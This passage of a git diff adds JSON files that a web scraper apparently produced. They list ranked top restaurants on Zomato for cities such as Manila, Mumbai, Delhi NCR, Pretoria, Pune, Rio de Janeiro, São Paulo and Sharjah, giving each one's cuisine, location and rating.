--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/manila.json
@@ -0,0 +1 @@
+[{"cuisine": "Asian, European", "rank": "1", "location": "Mall of Asia Complex (MOA), Pasay City", "restaurant_name": "Buffet 101", "rating": "3.9"}, {"cuisine": "Sea Food, Filipino, Asian", "rank": "2", "location": "Mall of Asia Complex (MOA), Pasay City", "restaurant_name": "Vikings", "rating": "3.2"}, {"cuisine": "Filipino", "rank": "3", "location": "Addition Hills, San Juan City", "restaurant_name": "Chef Laudico Guevarra&#039;s", "rating": "3.0"}, {"cuisine": "Portuguese, Asian, French,   ", "rank": "4", "location": "San Isidro, Pasay City", "restaurant_name": "Spiral - Sofitel Philippine Plaza", "rating": "3.5"}, {"cuisine": "Cafe, Bakery", "rank": "5", "location": "San Antonio, Makati City", "restaurant_name": "Purple Oven", "rating": "3.1"}, {"cuisine": "American", "rank": "6", "location": "Bonifacio Global City, Taguig City", "restaurant_name": "IHOP", "rating": "3.2"}, {"cuisine": "Korean, Japanese", "rank": "7", "location": "Libis, Quezon City", "restaurant_name": "Sambo Kojin", "rating": "3.5"}, {"cuisine": "Asian, European", "rank": "8", "location": "San Lorenzo, Makati City", "restaurant_name": "Circles Event Cafe - Makati Shangri-La", "rating": "3.7"}, {"cuisine": "Desserts", "rank": "9", "location": "Malate, Manila", "restaurant_name": "Becky&#039;s Kitchen", "rating": "3.6"}, {"cuisine": "Filipino", "rank": "10", "location": "Kapitolyo, Pasig City", "restaurant_name": "Amber Golden Cup", "rating": "3.1"}, {"cuisine": "Sea Food", "rank": "11", "location": "Bonifacio Global City, Taguig City", "restaurant_name": "Shrimp Bucket", "rating": "3.3"}, {"cuisine": "Japanese", "rank": "12", "location": "Greenhills, San Juan City", "restaurant_name": "House of Wagyu Stone Grill", "rating": "3.3"}, {"cuisine": "Cafe, American", "rank": "13", "location": "Mall of Asia Complex (MOA), Pasay City", "restaurant_name": "Movie Stars Cafe", "rating": "3.4"}, {"cuisine": "American, Fast Food, Italian", "rank": "14", "location": "Highway Hills, Mandaluyong City", "restaurant_name": "Project Pie", "rating": "3.6"}, {"cuisine": "Sea Food, Asian", "rank": "15", "location": "Ortigas, Mandaluyong City", "restaurant_name": "Heat - Edsa Shangri-La", "rating": "3.6"}, {"cuisine": "Fast Food", "rank": "16", "location": "Loyola Heights, Quezon City", "restaurant_name": "Zark&#039;s Burgers", "rating": "3.3"}, {"cuisine": "Filipino, Asian", "rank": "17", "location": "Mall of Asia Complex (MOA), Pasay City", "restaurant_name": "Cabalen", "rating": "3.0"}, {"cuisine": "Bakery, Desserts, Cafe", "rank": "18", "location": "Ayala Paseo, Makati City", "restaurant_name": "Banapple", "rating": "3.4"}, {"cuisine": "American, Filipino", "rank": "19", "location": "Bonifacio Global City, Taguig City", "restaurant_name": "Stacy&#039;s", "rating": "3.8"}, {"cuisine": "Filipino", "rank": "20", "location": "Kapitolyo, Pasig City", "restaurant_name": "Cafe Juanita", "rating": "3.4"}, {"cuisine": "Lounge, Club", "rank": "21", "location": "Bonifacio Global City, Taguig City", "restaurant_name": "Hyve", "rating": "3.2"}, {"cuisine": "American", "rank": "22", "location": "Sikatuna Village, Quezon City", "restaurant_name": "The Porch by Casa Verde", "rating": "3.0"}, {"cuisine": "Japanese", "rank": "23", "location": "SM City North EDSA, Quezon City", "restaurant_name": "Yabu", "rating": "3.3"}, {"cuisine": "Korean", "rank": "24", "location": "Bonifacio Global City, Taguig City", "restaurant_name": "K-Pub BBQ", "rating": "3.1"}, {"cuisine": "Asian, American, European", "rank": "25", "location": "Rockwell, Makati City", "restaurant_name": "Mamou Too!", "rating": "3.4"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/mumbai.json b/pyscrapper/zomato_top_restaurants/output/mumbai.json
new file mode 100755
index 00000000..54ad60ca
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/mumbai.json
@@ -0,0 +1 @@
+[{"cuisine": "Chinese, Japanese, Asian,   ", "rank": "1", "location": "Andheri East, Mumbai", "restaurant_name": "Global Fusion", "rating": "3.8"}, {"cuisine": "Cafe, Fast Food, Bakery,   ", "rank": "2", "location": "Bandra West, Mumbai", "restaurant_name": "Candies", "rating": "3.8"}, {"cuisine": "Contemporary, North Indian,   ", "rank": "3", "location": "Bandra Kurla Complex, Mumbai", "restaurant_name": "Masala Library", "rating": "3.9"}, {"cuisine": "North Indian, Turkish,   ", "rank": "4", "location": "Powai, Mumbai", "restaurant_name": "Sigree Global Grill", "rating": "3.6"}, {"cuisine": "Lounge, Italian, European,   ", "rank": "5", "location": "Worli, Mumbai", "restaurant_name": "Aer - Four Seasons", "rating": "3.8"}, {"cuisine": "Mediterranean, Lounge", "rank": "6", "location": "Powai, Mumbai", "restaurant_name": "Breeze", "rating": "3.5"}, {"cuisine": "Lounge", "rank": "7", "location": "Colaba, Mumbai", "restaurant_name": "Alibii", "rating": "3.2"}, {"cuisine": "European, North Indian,   ", "rank": "8", "location": "Andheri Lokhandwala, Andheri West, Mumbai", "restaurant_name": "Barbeque Nation", "rating": "3.7"}, {"cuisine": "Lounge, Italian, Mexican,   ", "rank": "9", "location": "Lower Parel, Mumbai", "restaurant_name": "Smaaash", "rating": "3.6"}, {"cuisine": "Lounge", "rank": "10", "location": "Bandra West, Mumbai", "restaurant_name": "Royalty", "rating": "3.5"}, {"cuisine": "North Indian, Chinese", "rank": "11", "location": "Mira Road, Mumbai", "restaurant_name": "Hotel Sai Palace Garden", "rating": "3.5"}, {"cuisine": "North Indian, Mexican,   ", "rank": "12", "location": "Bandra West, Mumbai", "restaurant_name": "The Big Bang Bar &amp; Cafe", "rating": "3.4"}, {"cuisine": "Fast Food, American,   ", "rank": "13", "location": "Andheri Lokhandwala, Andheri West, Mumbai", "restaurant_name": "Hard Rock Cafe", "rating": "3.4"}, {"cuisine": "Mexican, American", "rank": "14", "location": "Goregaon East, Mumbai", "restaurant_name": "Taco Bell", "rating": "3.6"}, {"cuisine": "Lounge, North Indian, Japanese", "rank": "15", "location": "Churchgate, Mumbai", "restaurant_name": "Dome - InterContinental", "rating": "3.6"}, {"cuisine": "Mediterranean, Spanish,   ", "rank": "16", "location": "Andheri Lokhandwala, Andheri West, Mumbai", "restaurant_name": "The Little Door", "rating": "3.6"}, {"cuisine": "European, American, Pub", "rank": "17", "location": "Lower Parel, Mumbai", "restaurant_name": "The Irish House", "rating": "3.6"}, {"cuisine": "Lounge, Continental, Italian", "rank": "18", "location": "Juhu, Mumbai", "restaurant_name": "Aurus", "rating": "3.5"}, {"cuisine": "Asian, Thai, Malaysian,   ", "rank": "19", "location": "Mahalaxmi, Mumbai", "restaurant_name": "Auriga Restaurant &amp; Lounge", "rating": "3.3"}, {"cuisine": "Gujarati, South Indian,   ", "rank": "20", "location": "Kandivali West, Mumbai", "restaurant_name": "Village", "rating": "3.6"}, {"cuisine": "Chinese, Desserts", "rank": "21", "location": "Bandra West, Mumbai", "restaurant_name": "5 Spice", "rating": "3.5"}, {"cuisine": "Pub, Chinese, Thai, Italian", "rank": "22", "location": "Khar, Mumbai", "restaurant_name": "3 Wise Monkeys", "rating": "3.4"}, {"cuisine": "Pub", "rank": "23", "location": "Lower Parel, Mumbai", "restaurant_name": "The Barking Deer Brewpub", "rating": "3.4"}, {"cuisine": "Cafe, Bakery", "rank": "24", "location": "Andheri West, Mumbai", "restaurant_name": "Merwans Cake Shop", "rating": "4.3"}, {"cuisine": "Asian", "rank": "25", "location": "Bandra West, Mumbai", "restaurant_name": "Mamagoto", "rating": "3.4"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/ncr.json b/pyscrapper/zomato_top_restaurants/output/ncr.json
new file mode 100755
index 00000000..664d9c71
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/ncr.json
@@ -0,0 +1 @@
+[{"cuisine": "Pub", "rank": "1", "location": "Chanakyapuri, Delhi", "restaurant_name": "Skooter - Hotel Samrat", "rating": "3.7"}, {"cuisine": "Italian, Mediterranean,   ", "rank": "2", "location": "Nehru Place, Delhi", "restaurant_name": "The Flying Saucer Cafe", "rating": "3.9"}, {"cuisine": "North Indian, Chinese,   ", "rank": "3", "location": "Connaught Place, Delhi", "restaurant_name": "Barbeque Nation", "rating": "3.6"}, {"cuisine": "Chinese, Thai, Japanese, Asian", "rank": "4", "location": "DLF Cyber City, Gurgaon", "restaurant_name": "Soi 7 Pub &amp; Brewery", "rating": "3.4"}, {"cuisine": "Lounge", "rank": "5", "location": "Connaught Place, Delhi", "restaurant_name": "Warehouse Cafe", "rating": "3.6"}, {"cuisine": "North Indian, Mughlai, Chinese", "rank": "6", "location": "Connaught Place, Delhi", "restaurant_name": "My Bar Lounge &amp; Restaurant", "rating": "3.4"}, {"cuisine": "North Indian, Asian,   ", "rank": "7", "location": "Hauz Khas Village, Delhi", "restaurant_name": "Out Of The Box", "rating": "3.4"}, {"cuisine": "North Indian, Continental,   ", "rank": "8", "location": "MG Road, Gurgaon", "restaurant_name": "Pirates of Grill", "rating": "3.6"}, {"cuisine": "Italian, Chinese, North   ", "rank": "9", "location": "Connaught Place, Delhi", "restaurant_name": "White Waters", "rating": "3.6"}, {"cuisine": "American, Mediterranean,   ", "rank": "10", "location": "Saket, Delhi", "restaurant_name": "Hard Rock Cafe", "rating": "3.8"}, {"cuisine": "Lounge, Asian, Chinese,   ", "rank": "11", "location": "Saket, Delhi", "restaurant_name": "B Bar", "rating": "3.7"}, {"cuisine": "North Indian, Chinese,   ", "rank": "12", "location": "Connaught Place, Delhi", "restaurant_name": "Parikrama - The Revolving Restaurant", "rating": "3.4"}, {"cuisine": "Italian, North Indian,   ", "rank": "13", "location": "Hauz Khas Village, Delhi", "restaurant_name": "Elf Cafe", "rating": "3.7"}, {"cuisine": "North Indian, Lebanese,   ", "rank": "14", "location": "Golf Course Road, Gurgaon", "restaurant_name": "Club Rhino", "rating": "3.8"}, {"cuisine": "Chinese, Thai, Mexican,   ", "rank": "15", "location": "Hauz Khas Village, Delhi", "restaurant_name": "Raasta", "rating": "3.5"}, {"cuisine": "Lounge", "rank": "16", "location": "Sector 18, Noida", "restaurant_name": "Quantum", "rating": "3.1"}, {"cuisine": "Lounge", "rank": "17", "location": "Connaught Place, Delhi", "restaurant_name": "Kitty Su - The Lalit New Delhi", "rating": "3.6"}, {"cuisine": "European, Lebanese,   ", "rank": "18", "location": "Lodhi Road, Delhi", "restaurant_name": "Lodi - The Garden Restaurant", "rating": "3.5"}, {"cuisine": "North Indian, Chinese,   ", "rank": "19", "location": "Saket, Delhi", "restaurant_name": "Ice Lounge", "rating": "3.5"}, {"cuisine": "Italian, European,   ", "rank": "20", "location": "Saket, Delhi", "restaurant_name": "Caf\u00e9 Ludus", "rating": "3.5"}, {"cuisine": "Cantonese", "rank": "21", "location": "Vasant Kunj, Delhi", "restaurant_name": "Yauatcha", "rating": "3.1"}, {"cuisine": "African, Italian, Lebanese,   ", "rank": "22", "location": "Hauz Khas Village, Delhi", "restaurant_name": "Mia Bella", "rating": "3.6"}, {"cuisine": "North Indian", "rank": "23", "location": "Sardar Patel Marg, Delhi", "restaurant_name": "Bukhara - ITC Maurya", "rating": "3.7"}, {"cuisine": "Continental, North Indian,   ", "rank": "24", "location": "Ambience Mall, Gurgaon", "restaurant_name": "bluO", "rating": "3.6"}, {"cuisine": "Chinese, Continental, North   ", "rank": "25", "location": "MG Road, Gurgaon", "restaurant_name": "Vapour", "rating": "3.5"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/portoalegre.json b/pyscrapper/zomato_top_restaurants/output/portoalegre.json
new file mode 100755
index 00000000..fe51488c
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/portoalegre.json
@@ -0,0 +1 @@
+[]
diff --git a/pyscrapper/zomato_top_restaurants/output/pretoria.json b/pyscrapper/zomato_top_restaurants/output/pretoria.json
new file mode 100755
index 00000000..0b2744d5
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/pretoria.json
@@ -0,0 +1 @@
+[{"cuisine": "African, Steakhouse", "rank": "1", "location": "Wonderboom, Pretoria", "restaurant_name": "Boston BBQ", "rating": "3.5"}, {"cuisine": "Japanese", "rank": "2", "location": "Waterkloof, Pretoria", "restaurant_name": "Yamazaki", "rating": "3.3"}, {"cuisine": "African, Portuguese", "rank": "3", "location": "Morletapark, Pretoria", "restaurant_name": "Nando&#039;s", "rating": "3.3"}, {"cuisine": "European", "rank": "4", "location": "Waterkloof, Pretoria", "restaurant_name": "Prosopa", "rating": "3.4"}, {"cuisine": "Cafe, Contemporary", "rank": "5", "location": "Waterkloof, Pretoria", "restaurant_name": "Meet on Milner", "rating": "3.4"}, {"cuisine": "Pizza", "rank": "6", "location": "Wonderboom, Pretoria", "restaurant_name": "Pizza Perfect", "rating": "3.1"}, {"cuisine": "Japanese, Italian, Steakhouse", "rank": "7", "location": "Menlyn, Pretoria", "restaurant_name": "Parrot&#039;s", "rating": "3.0"}, {"cuisine": "Desserts, Bakery", "rank": "8", "location": "CBD, Pretoria", "restaurant_name": "Harrie&#039;s Pancakes", "rating": "3.4"}, {"cuisine": "Continental, African", "rank": "9", "location": "Muckleneuk, Pretoria", "restaurant_name": "The Garden Grille Buffet Restaurant", "rating": "3.4"}, {"cuisine": "Portuguese, Sea Food", "rank": "10", "location": "Waterkloof, Pretoria", "restaurant_name": "Pachas Restaurant", "rating": "3.3"}, {"cuisine": "Cuban, Latin American", "rank": "11", "location": "Menlyn, Pretoria", "restaurant_name": "Cubana", "rating": "3.2"}, {"cuisine": "Italian", "rank": "12", "location": "Nieuw Muckleneuk, Pretoria", "restaurant_name": "Capeesh", "rating": "3.5"}, {"cuisine": "Pub", "rank": "13", "location": "Faerie Glen, Pretoria", "restaurant_name": "Thirst @ 28 Degrees", "rating": "3.5"}, {"cuisine": "Middle Eastern", "rank": "14", "location": "Garsfontein, Pretoria", "restaurant_name": "Tings an&#039; Times", "rating": "3.2"}, {"cuisine": "Pizza", "rank": "15", "location": "Waverly, Pretoria", "restaurant_name": "Scooters Pizza", "rating": "3.3"}, {"cuisine": "Fast Food", "rank": "16", "location": "Waverly, Pretoria", "restaurant_name": "Oppiplaas Restaurant", "rating": "3.0"}, {"cuisine": "Japanese, American, Italian", "rank": "17", "location": "Sunnyside, Pretoria", "restaurant_name": "Rhapsody&#039;s", "rating": "3.0"}, {"cuisine": "Sea Food, Steakhouse, Grill   ", "rank": "18", "location": "Gezina, Pretoria", "restaurant_name": "Brewers Fish &amp; Grill", "rating": "3.3"}, {"cuisine": "Cafe, Grill House", "rank": "19", "location": "Menlyn, Pretoria", "restaurant_name": "Baobab Cafe &amp; Grill", "rating": "3.2"}, {"cuisine": "Indian", "rank": "20", "location": "Brooklyn, Pretoria", "restaurant_name": "Geet Indian Restaurant", "rating": "3.2"}, {"cuisine": "Cafe", "rank": "21", "location": "Waterkloof, Pretoria", "restaurant_name": "Alice in Waterkloof", "rating": "3.1"}, {"cuisine": "Cafe", "rank": "22", "location": "Nieuw Muckleneuk, Pretoria", "restaurant_name": "Tashas", "rating": "3.2"}, {"cuisine": "Italian", "rank": "23", "location": "Groenkloof, Pretoria", "restaurant_name": "Fumo", "rating": "3.9"}, {"cuisine": "Cafe, European", "rank": "24", "location": "Lynwood, Pretoria", "restaurant_name": "Blos Cafe", "rating": "3.7"}, {"cuisine": "Cafe, Pub", "rank": "25", "location": "Hatfield, Pretoria", "restaurant_name": "News Cafe", "rating": "3.5"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/pune.json b/pyscrapper/zomato_top_restaurants/output/pune.json
new file mode 100755
index 00000000..2a69b062
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/pune.json
@@ -0,0 +1 @@
+[{"cuisine": "Lounge", "rank": "1", "location": "Senapati Bapat Road, Pune", "restaurant_name": "Mi-a-Mi - JW Marriott Pune", "rating": "3.7"}, {"cuisine": "European, North Indian,   ", "rank": "2", "location": "J.M. Road, Pune", "restaurant_name": "Barbeque Nation", "rating": "4.1"}, {"cuisine": "North Indian, Mediterranean", "rank": "3", "location": "Koregaon Park, Pune", "restaurant_name": "Penthouze Nightlife", "rating": "3.5"}, {"cuisine": "North Indian, Chinese,   ", "rank": "4", "location": "Viman Nagar, Pune", "restaurant_name": "Atmosphere 6", "rating": "3.6"}, {"cuisine": "Lounge, North Indian, Italian", "rank": "5", "location": "Baner, Pune", "restaurant_name": "Area 51", "rating": "3.5"}, {"cuisine": "North Indian, Lounge, Mughlai", "rank": "6", "location": "Senapati Bapat Road, Pune", "restaurant_name": "Paasha - JW Marriott Pune", "rating": "4.0"}, {"cuisine": "North Indian, Continental,   ", "rank": "7", "location": "Yerawada, Pune", "restaurant_name": "Exotica", "rating": "3.6"}, {"cuisine": "Lounge, Continental,   ", "rank": "8", "location": "Koregaon Park, Pune", "restaurant_name": "Kue Bar - The Westin", "rating": "3.5"}, {"cuisine": "Pub, American, Mexican,   ", "rank": "9", "location": "Koregaon Park, Pune", "restaurant_name": "Hard Rock Cafe", "rating": "4.0"}, {"cuisine": "Lounge, Fast Food, North   ", "rank": "10", "location": "Viman Nagar, Pune", "restaurant_name": "Wtf!", "rating": "3.8"}, {"cuisine": "Continental, North Indian,   ", "rank": "11", "location": "Hinjewadi, Pune", "restaurant_name": "Mezza 9", "rating": "3.6"}, {"cuisine": "Pub, Continental, Italian,   ", "rank": "12", "location": "Koregaon Park, Pune", "restaurant_name": "High Spirits", "rating": "3.7"}, {"cuisine": "Lounge, North Indian,   ", "rank": "13", "location": "Senapati Bapat Road, Pune", "restaurant_name": "Skye Resto &amp; Lounge", "rating": "3.3"}, {"cuisine": "Pub, North Indian,   ", "rank": "14", "location": "Koregaon Park, Pune", "restaurant_name": "Hidden Place - The Hangout", "rating": "3.7"}, {"cuisine": "Pub, North Indian, Mexican", "rank": "15", "location": "Kondhwa, Pune", "restaurant_name": "The 1st Brewhouse - The Corinthians", "rating": "3.7"}, {"cuisine": "Bakery", "rank": "16", "location": "East Street, Pune", "restaurant_name": "Kayani Bakery", "rating": "3.9"}, {"cuisine": "Pub, Lounge, North Indian,   ", "rank": "17", "location": "Koregaon Park, Pune", "restaurant_name": "1 Lounge and Restaurant", "rating": "3.4"}, {"cuisine": "North Indian, Gujarati,   ", "rank": "18", "location": "Hadapsar, Pune", "restaurant_name": "Village - The Soul of India", "rating": "3.7"}, {"cuisine": "Cafe", "rank": "19", "location": "Koregaon Park, Pune", "restaurant_name": "Starbucks Coffee", "rating": "3.8"}, {"cuisine": "Pub, Continental, Italian,   ", "rank": "20", "location": "East Street, Pune", "restaurant_name": "11 East Street Cafe", "rating": "3.6"}, {"cuisine": "Chinese, Continental,   ", "rank": "21", "location": "Wakad, Pune", "restaurant_name": "Copa Cabana", "rating": "3.7"}, {"cuisine": "North Indian, Chinese,   ", "rank": "22", "location": "Baner, Pune", "restaurant_name": "Hotel Green Park", "rating": "3.1"}, {"cuisine": "North Indian, Chinese, Sea   ", "rank": "23", "location": "Wakad, Pune", "restaurant_name": "Tim Luck Luck", "rating": "3.2"}, {"cuisine": "Lounge", "rank": "24", "location": "Koregaon Park, Pune", "restaurant_name": "Oak Lounge - Oakwood Premier", "rating": "3.5"}, {"cuisine": "Pub, Irish, North Indian,   ", "rank": "25", "location": "Koregaon Park, Pune", "restaurant_name": "The Irish Village", "rating": "3.4"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/rio.json b/pyscrapper/zomato_top_restaurants/output/rio.json
new file mode 100755
index 00000000..03739a56
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/rio.json
@@ -0,0 +1 @@
+[{"cuisine": "Brasileira, Comida de Bar", "rank": "1", "location": "Tijuca, Rio de Janeiro", "restaurant_name": "Aconchego Carioca", "rating": "3.2"}, {"cuisine": "Japonesa", "rank": "2", "location": "Ipanema, Rio de Janeiro", "restaurant_name": "Tenkai", "rating": "3.9"}, {"cuisine": "Brasileira, Padaria, Comida   ", "rank": "3", "location": "Vila Isabel, Rio de Janeiro", "restaurant_name": "Vilarejo", "rating": "3.7"}, {"cuisine": "Brasileira", "rank": "4", "location": "Santa Teresa, Rio de Janeiro", "restaurant_name": "Apraz\u00edvel", "rating": "3.9"}, {"cuisine": "Brasileira, Comida de Bar", "rank": "5", "location": "Leblon, Rio de Janeiro", "restaurant_name": "Boteco Belmonte", "rating": "3.5"}, {"cuisine": "Contempor  nea", "rank": "6", "location": "Ipanema, Rio de Janeiro", "restaurant_name": "Bazzar", "rating": "4.5"}, {"cuisine": "Brasileira, Comida de Bar", "rank": "7", "location": "Copacabana, Rio de Janeiro", "restaurant_name": "Posto 6", "rating": "3.0"}, {"cuisine": "Churrascaria, Brasileira,   ", "rank": "8", "location": "G\u00e1vea, Rio de Janeiro", "restaurant_name": "Porc\u00e3o Gourmet Jockey", "rating": "4.0"}, {"cuisine": "Brasileira, Internacional", "rank": "9", "location": "Copacabana, Rio de Janeiro", "restaurant_name": "Windsor Restaurante - Windsor Marti...", "rating": "3.4"}, {"cuisine": "Brasileira, Padaria", "rank": "10", "location": "Vila Isabel, Rio de Janeiro", "restaurant_name": "775 Gourmet", "rating": "3.6"}, {"cuisine": "Brasileira, Caf  ", "rank": "11", "location": "Copacabana, Rio de Janeiro", "restaurant_name": "Cafe\u00edna", "rating": "3.0"}, {"cuisine": "Comida de Bar, Brasileira", "rank": "12", "location": "Ipanema, Rio de Janeiro", "restaurant_name": "Astor", "rating": "3.0"}, {"cuisine": "Brasileira", "rank": "13", "location": "Ipanema, Rio de Janeiro", "restaurant_name": "Via Sete", "rating": "3.8"}, {"cuisine": "Peixes e frutos do mar,   ", "rank": "14", "location": "Barra da Tijuca, Rio de Janeiro", "restaurant_name": "Pesqueiro Eco Gourmet", "rating": "3.8"}, {"cuisine": "Italiana, Brasileira", "rank": "15", "location": "Ipanema, Rio de Janeiro", "restaurant_name": "Alessandro &amp; Frederico", "rating": "3.7"}, {"cuisine": "Japonesa", "rank": "16", "location": "Copacabana, Rio de Janeiro", "restaurant_name": "Buda Sushi", "rating": "3.3"}, {"cuisine": "Italiana", "rank": "17", "location": "Copacabana, Rio de Janeiro", "restaurant_name": "La Trattoria", "rating": "3.1"}, {"cuisine": "Brasileira", "rank": "18", "location": "Santa Teresa, Rio de Janeiro", "restaurant_name": "R\u00fastico", "rating": "3.5"}, {"cuisine": "Brasileira,   ", "rank": "19", "location": "Barra da Tijuca, Rio de Janeiro", "restaurant_name": "Del\u00edrio Tropical", "rating": "3.5"}, {"cuisine": "Italiana, Pizza, Peixes e   ", "rank": "20", "location": "Leme, Rio de Janeiro", "restaurant_name": "La Fiorentina", "rating": "3.8"}, {"cuisine": "Italiana", "rank": "21", "location": "Tijuca, Rio de Janeiro", "restaurant_name": "Fiorino", "rating": "3.9"}, {"cuisine": "Brasileira, Pizza", "rank": "22", "location": "Copacabana, Rio de Janeiro", "restaurant_name": "Pizza Master", "rating": "3.0"}, {"cuisine": "Latino americana", "rank": "23", "location": "Leblon, Rio de Janeiro", "restaurant_name": "Gonzalo", "rating": "3.3"}, {"cuisine": "Portuguesa", "rank": "24", "location": "Tijuca, Rio de Janeiro", "restaurant_name": "Rampinha", "rating": "3.1"}, {"cuisine": "Peixes e frutos do mar,   ", "rank": "25", "location": "Leme, Rio de Janeiro", "restaurant_name": "Joaquina", "rating": "3.1"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/salvador.json b/pyscrapper/zomato_top_restaurants/output/salvador.json
new file mode 100755
index 00000000..b522ef12
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/salvador.json
@@ -0,0 +1 @@
+[{"cuisine": "International, Sea Food", "rank": "1", "location": "Com\u00e9rcio, Salvador", "restaurant_name": "Amado", "rating": "3.8"}, {"cuisine": "Brazilian, Baiana", "rank": "2", "location": "Arma\u00e7\u00e3o, Salvador", "restaurant_name": "Yemanj\u00e1", "rating": "3.7"}, {"cuisine": "Japanese", "rank": "3", "location": "Dois de Julho, Salvador", "restaurant_name": "Soho", "rating": "3.6"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/saopaulo.json b/pyscrapper/zomato_top_restaurants/output/saopaulo.json
new file mode 100755
index 00000000..37f9ef5d
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/saopaulo.json
@@ -0,0 +1 @@
+[{"cuisine": "Italiana", "rank": "1", "location": "Rep\u00fablica, Centro", "restaurant_name": "Terra\u00e7o It\u00e1lia", "rating": "3.8"}, {"cuisine": "Brasileira", "rank": "2", "location": "Casa Verde, Zona Norte", "restaurant_name": "Baruel Grill", "rating": "3.1"}, {"cuisine": "Americana, Variados", "rank": "3", "location": "Itaim Bibi, Zona Oeste", "restaurant_name": "The Meatball House", "rating": "3.6"}, {"cuisine": "Brasileira", "rank": "4", "location": "Lapa, Zona Oeste", "restaurant_name": "Central da Vila", "rating": "3.5"}, {"cuisine": "Francesa", "rank": "5", "location": "Pinheiros, Zona Oeste", "restaurant_name": "Le Jazz", "rating": "4.0"}, {"cuisine": "Churrascaria, Japonesa", "rank": "6", "location": "Vila Guilherme, Zona Norte", "restaurant_name": "Villa&#039;s Churrascaria", "rating": "4.0"}, {"cuisine": "Americana, Fast food", "rank": "7", "location": "Itaim Bibi, Zona Oeste", "restaurant_name": "New Dog", "rating": "3.9"}, {"cuisine": "Italiana", "rank": "8", "location": "Bela Vista, Centro", "restaurant_name": "Cantina Famiglia Mancini", "rating": "4.1"}, {"cuisine": "Americana, Burger", "rank": "9", "location": "Itaim Bibi, Zona Oeste", "restaurant_name": "Butcher&#039;s Market", "rating": "4.3"}, {"cuisine": "Pub", "rank": "10", "location": "Itaim Bibi, Zona Oeste", "restaurant_name": "St. George Pub", "rating": "3.2"}, {"cuisine": "Peixes e frutos do mar,   ", "rank": "11", "location": "Bela Vista, Centro", "restaurant_name": "Mexilh\u00e3o", "rating": "4.0"}, {"cuisine": "Italiana", "rank": "12", "location": "Pinheiros, Zona Oeste", "restaurant_name": "Girarrosto", "rating": "3.7"}, {"cuisine": "Peixes e frutos do mar", "rank": "13", "location": "Itaim Bibi, Zona Oeste", "restaurant_name": "Coco Bamb\u00fa", "rating": "3.9"}, {"cuisine": "Brasileira, Comida de Bar", "rank": "14", "location": "Vila Mariana, Zona Sul", "restaurant_name": "Veloso", "rating": "4.2"}, {"cuisine": "Brasileira, Comida de Bar", "rank": "15", "location": "Tatuap\u00e9, Zona Leste", "restaurant_name": "Cervejaria Patriarca", "rating": "4.0"}, {"cuisine": "Brasileira, Grill", "rank": "16", "location": "Jardim Paulista, Zona Oeste", "restaurant_name": "A Figueira Rubaiyat", "rating": "3.8"}, {"cuisine": "Padaria", "rank": "17", "location": "Moema, Zona Sul", "restaurant_name": "Emp\u00f3rio Moema", "rating": "3.7"}, {"cuisine": "Portuguesa", "rank": "18", "location": "Jardim Paulista, Zona Oeste", "restaurant_name": "Alfama dos Marinheiros", "rating": "3.2"}, {"cuisine": "Pub", "rank": "19", "location": "Vila Mariana, Zona Sul", "restaurant_name": "Let&#039;s Beer", "rating": "3.7"}, {"cuisine": "Italiana", "rank": "20", "location": "Campo Belo, Zona Sul", "restaurant_name": "La Quotidiana", "rating": "3.6"}, {"cuisine": "Pizza", "rank": "21", "location": "Jardim Paulista, Zona Oeste", "restaurant_name": "Companhia da Pizza", "rating": "3.7"}, {"cuisine": "Brasileira, Italiana", "rank": "22", "location": "Bela Vista, Centro", "restaurant_name": "Cantina C... que Sabe!", "rating": "3.2"}, {"cuisine": "Italiana", "rank": "23", "location": "Jardim Paulista, Zona Oeste", "restaurant_name": "Zena Caff\u00e9", "rating": "3.5"}, {"cuisine": " Casa noturna, Pub, Comida   ", "rank": "24", "location": "Itaim Bibi, Zona Oeste", "restaurant_name": "Dublin Live Music", "rating": "3.6"}, {"cuisine": "Espanhola", "rank": "25", "location": "Pinheiros, Zona Oeste", "restaurant_name": "Don Curro", "rating": "4.0"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/sharjah.json b/pyscrapper/zomato_top_restaurants/output/sharjah.json
new file mode 100755
index 00000000..ead91ed7
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/sharjah.json
@@ -0,0 +1 @@
+[{"cuisine": "Fast Food", "rank": "1", "location": "Al Majaz 1, Sharjah", "restaurant_name": "Hardee&#039;s", "rating": "3.1"}, {"cuisine": "Biryani, Pakistani", "rank": "2", "location": "Al Yarmook, Sharjah", "restaurant_name": "Student Biryani", "rating": "3.6"}, {"cuisine": "Pakistani, Afghani, Indian,   ", "rank": "3", "location": "Al Khan, Sharjah", "restaurant_name": "Sindh Shahbaz Restaurant", "rating": "3.3"}, {"cuisine": "Fast Food", "rank": "4", "location": "Abu Shagara, Sharjah", "restaurant_name": "Hot Burger", "rating": "3.4"}, {"cuisine": "Fast Food", "rank": "5", "location": "Al Majaz 1, Sharjah", "restaurant_name": "Fresh Chicken King", "rating": "3.4"}, {"cuisine": "South Indian, North Indian,   ", "rank": "6", "location": "Al Nahda, Sharjah", "restaurant_name": "Saravanaa Bhavan", "rating": "3.0"}, {"cuisine": "Middle Eastern", "rank": "7", "location": "Al Nud, Sharjah", "restaurant_name": "Aroos Damascus", "rating": "3.7"}, {"cuisine": "Indian, South Indian", "rank": "8", "location": "Al Nahda, Sharjah", "restaurant_name": "Salkara Restaurant", "rating": "3.1"}, {"cuisine": "Middle Eastern", "rank": "9", "location": "Al Nahda, Sharjah", "restaurant_name": "Bait Al Mandi Restaurant", "rating": "3.3"}, {"cuisine": "Sea Food, Lebanese,   ", "rank": "10", "location": "Abu Shagara, Sharjah", "restaurant_name": "Rainbow Steak House", "rating": "3.7"}, {"cuisine": "Pizza, Italian", "rank": "11", "location": "Al Nahda, Sharjah", "restaurant_name": "Figaro&#039;s Pizza", 